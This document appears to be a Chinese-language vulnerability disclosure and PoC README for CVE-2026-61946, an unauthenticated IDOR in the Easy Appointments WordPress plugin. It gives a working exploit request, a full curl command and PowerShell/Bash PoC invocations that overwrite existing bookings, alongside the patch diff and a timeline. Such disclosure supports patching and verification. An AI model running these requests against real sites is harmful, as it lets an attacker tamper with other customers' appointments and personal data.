| CVE | CVE-2026-61946 |
| 插件 | Easy Appointments |
| 标识符 | easy-appointments |
| 受影响版本 | <= 3.12.27 |
| 修复版本 | 3.12.28 |
| 漏洞类型 | 未经身份验证的 IDOR / 用户控制的主键 (CWE-639) |
| 影响 | 任意现有预约被覆盖 |
| CVSS | 6.5 中等 (CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:N/I:L/A:L) |
| 发现者 | Daniel Wade |
| Patchstack PSID | 4f9c506f9f90 |
公共端点接受如下形式的请求:
GET /wp-admin/admin-ajax.php?action=ea_res_appointment&id=2&location=1&service=1&worker=1&date=2026-04-09&start=15:00&name=ATTACKER&email=evil%40hack.com&phone=666&description=PWNED HTTP/1.1
Host: target.example
id=2 未被视为不可信的对象标识。在受影响版本中,它通过了输入过滤并到达了数据库替换路径。如果行 2 已经属于另一客户,公共请求将更新该行而不是创建新行。
之前:id=2 | Jane Victim | [email protected] | 已确认 | $50.00
之后:id=2 | ATTACKER | [email protected] | 预约中 | $50.00
Easy Appointments 将预约处理程序暴露给未经身份验证的访问者:
add_action('wp_ajax_ea_res_appointment', array($this, 'ajax_res_appointment'));
add_action('wp_ajax_nopriv_ea_res_appointment', array($this, 'ajax_res_appointment'));
这对于公共预约表单是预期的行为。授权漏洞在于信任了公共处理程序内部调用者的对象键。
易受攻击的流程为:
未经身份验证的 GET
-> action=ea_res_appointment
-> $_GET['id']
-> 通过预约字段列表允许
-> models->replace('ea_appointments', $data, true)
-> 通过主键选择现有预约行
-> 受害者预订被覆盖
Nonce 和 CAPTCHA 检查并未验证所提供的预约 ID 的归属。而且在我测试的配置中,它们默认也是禁用的,因此请求完全不需要任何会话状态。
该端点确实执行了可用性检查。但这并未解决对象授权问题;它只意味着攻击者必须选择一个有效的公共位置、服务、工作者、日期以及当前空闲的时段。
你需要:
1. 一个可丢弃的 WordPress 实验环境,运行 Easy Appointments <= 3.12.27
2. 你创建用于测试的实验预约的 ID
3. 来自公共表单的有效位置、服务和工作者 ID
4. 一个当前空闲的时段
然后运行两个 PoC 之一,并确保使用两个安全开关。不带 --execute / -Execute 时,脚本仅打印它们将要发送的请求。
PowerShell:
.\poc\reproduce.ps1 `
-Target "http://127.0.0.1" `
-AppointmentId 2 `
-Location 1 `
-Service 1 `
-Worker 1 `
-Date "2026-04-09" `
-Start "15:00" `
-AuthorizedLab `
-Execute
Bash:
./poc/reproduce.sh \
--target "http://127.0.0.1" \
--id 2 \
--location 1 \
--service 1 \
--worker 1 \
--date "2026-04-09" \
--start "15:00" \
--authorized-lab \
--execute
手动 curl:
curl -i -sS -G "http://127.0.0.1/wp-admin/admin-ajax.php" \
--data-urlencode "action=ea_res_appointment" \
--data-urlencode "id=2" \
--data-urlencode "location=1" \
--data-urlencode "service=1" \
--data-urlencode "worker=1" \
--data-urlencode "date=2026-04-09" \
--data-urlencode "start=15:00" \
--data-urlencode "name=ATTACKER" \
--data-urlencode "[email protected]" \
--data-urlencode "phone=666" \
--data-urlencode "description=PWNED"
不涉及任何身份验证头或 Cookie。
我在以下环境中复现了该问题:
WordPress 6.9.4
Easy Appointments 3.12.23.1
未经身份验证的请求
无 Cookie
Nonce 禁用
CAPTCHA 禁用
测试使用了一个属于实验受害者账户的现有预约行:
id=2
name=Jane Victim
[email protected]
status=已确认
price=$50.00
公共预约请求之后,相同主键包含:
id=2
name=ATTACKER
[email protected]
status=预约中
price=$50.00
主键和价格保持不变,清楚表明了更新行为:这不是恰好与第一次相似的第二次预订,而是现有行被替换。
前后对比的副本位于 evidence/sample-before-after.txt。
知道或猜测到预约 ID 的未经身份验证的攻击者可以破坏该预订的客户和排程数据。根据站点的流程,这可能包括更改:
客户姓名和邮箱
电话号码
预约描述
位置、服务和分配的员工
日期和开始时间
公共流程生成的预约状态
实际结果是静默的预订篡改:合法预约可以被重定向、取代、破坏或变得无法使用。公共表单暴露了构造请求所需的有效排程值。
官方评分为 6.5 中等:
CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:N/I:L/A:L
版本 3.12.28 中与安全相关的改动非常直接:
foreach ($data as $key => $rem) {
if (!in_array($key, $dont_remove)) unset($data[$key]);
}
+
+unset($data['id']);
+$data['id'] = null;
unset($data['action']);
公共预约流程不再能选择数据库对象的主键。请求被迫走新记录路径,而不是允许替换任意现有预约。
同一安全提交还修正了 nonce 选项逻辑。这是有用的深度防御,但仅凭 nonce 验证并不能作为攻击者提供的预约 ID 的所有权检查。移除客户端控制的键才是直接的 IDOR 修复。
提取的补丁位于 patch/fix.diff。
poc/
reproduce.ps1 # PowerShell 实验环境复现脚本
reproduce.sh # Bash/curl 实验环境复现脚本
evidence/
sample-before-after.txt # 脱敏的行替换证据
patch/
fix.diff # 上游安全相关差异补丁
README.md
| 日期 | 事件 |
|---|---|
| 2026-04-03 | 报告给 Patchstack |
| 2026-07-07 | 补丁验证 |
| 2026-07-16 | Patchstack 发布了漏洞条目 |
| 2026-07-23 | CVE-2026-61946 发布 |
免责声明: 本 PoC 仅在补丁可用后为防御性研究和验证而发布。请勿将其用于非授权或未获得明确许可的系统。
CVE-2026-61946 - 已于 Easy Appointments 3.12.28 修复。受影响版本:3.12.27 及更早版本。